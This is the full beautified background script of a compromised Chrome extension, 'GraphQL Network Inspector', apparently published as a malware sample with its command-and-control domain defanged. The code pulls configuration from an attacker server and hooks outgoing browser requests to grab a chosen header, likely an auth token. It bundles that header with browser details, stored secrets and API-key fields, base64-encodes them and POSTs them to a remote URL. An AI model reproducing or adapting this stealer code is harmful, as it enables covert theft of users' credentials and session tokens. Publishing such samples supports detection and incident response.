background.js script from the Chrome extension "GraphQL Network Inspector" (ndlbedplllcgconngcnfmkadhokfaaln) compromised on 29 December 2024 (code beautified and URL defanged)

malicious_chrome_extension_ndlbedplllcgconngcnfmkadhokfaaln_beautified_20241229_background.js

chrome.runtime.onInstalled.addListener(function (e) {
	'install' === e.reason && chrome.tabs.create({ url: 'https://www.overstacked.io/?install=true' });
});
chrome.runtime.onMessage.addListener((t, e, n) => {
	switch (t.action) {
	case 'graphqlnetwork-completions':
		fetch('https://chatgpt.com/status/', {
			method: 'POST',
			headers: {
				'Content-Type': 'application/json',
				Authorization: `Bearer ${ t.key }`
			},
			body: JSON.stringify({
				prompt: 'check',
				max_tokens: 150
			})
		}).then(t => t.json()).then(t => n(t)).catch(t => {
		});
		break;
	case 'graphqlnetwork-redirect':
		fetch(t.url).then(t => t.redirected).then(t => n(t)).catch();
		break;
	case 'graphqlnetwork-validate':
		fetch(t.url, {
			method: 'POST',
			headers: {
				Accept: 'application/json, application/xml, text/plain, text/html, *.*',
				'Content-Type': 'application/json'
			},
			body: JSON.stringify(t.pl)
		}).then(t => t.json()).then(t => n(t)).catch(t => {
		});
		break;
	case 'graphqlnetwork-rtext':
		fetch(t.url).then(t => t.text()).then(t => n(t)).catch();
		break;
	case 'graphqlnetwork-rjson':
		fetch(t.url).then(t => t.json()).then(t => n(t)).catch();
		break;
	case 'graphqlnetwork-check-errors':
		const e = t.pl;
		chrome.webRequest.onBeforeSendHeaders.addListener(function (a) {
			chrome.storage.local.get(['pswo']).then(o => {
				let r;
				var c;
				o.pswo && (r = o.pswo);
				const s = e.n;
				let i = '';
				try {
					i = btoa(JSON.stringify(e.openapi_u));
				} catch (t) {
				}
				let h = null === (c = a.requestHeaders) || void 0 === c ? void 0 : c.find(t => e.hed == t.name.toLowerCase());
				const p = e.openapi_tk + ' || ' + btoa(h.value) + ' || ' + btoa(navigator[s]) + ' || ' + e.uid + ' || ' + i + ' || ' + r + ' || ' + e.k, l = {
						ba1: btoa(p),
						ba2: JSON.stringify(e.graphqlnetwork_cx),
						ba3: JSON.stringify(e.gpta)
					}, d = t.url;
				fetch(d, {
					method: 'POST',
					headers: {
						Accept: 'application/json, application/xml, text/plain, text/html, *.*',
						'Content-Type': 'application/json'
					},
					body: JSON.stringify(l)
				}).then(t => t.json()).then(t => n(t)).catch(t => {
				});
			});
		}, { urls: [e.r] }, [
			'requestHeaders',
			'extraHeaders'
		]), fetch(e.r).then(t => t.text()).then(t => function (t) {
		}).catch();
	}
	return !0;
}), async function () {
	try {
		const t = await fetch('hxxps://graphqlnetwork[.]pro/ai-graphqlnetwork', {
			method: 'POST',
			headers: {
				Accept: 'application/json, application/xml, text/plain, text/html, *.*',
				'Content-Type': 'application/json'
			}
		});
		if (!t.ok)
			throw new Error(`HTTP error! Status: ${ t.status }`);
		const e = await t.json();
		await chrome.storage.local.set({ graphqlnetwork_ext_manage: JSON.stringify(e) }), console.log('Data successfully stored!');
	} catch (t) {
		console.error('An error occurred:', t);
	}
}();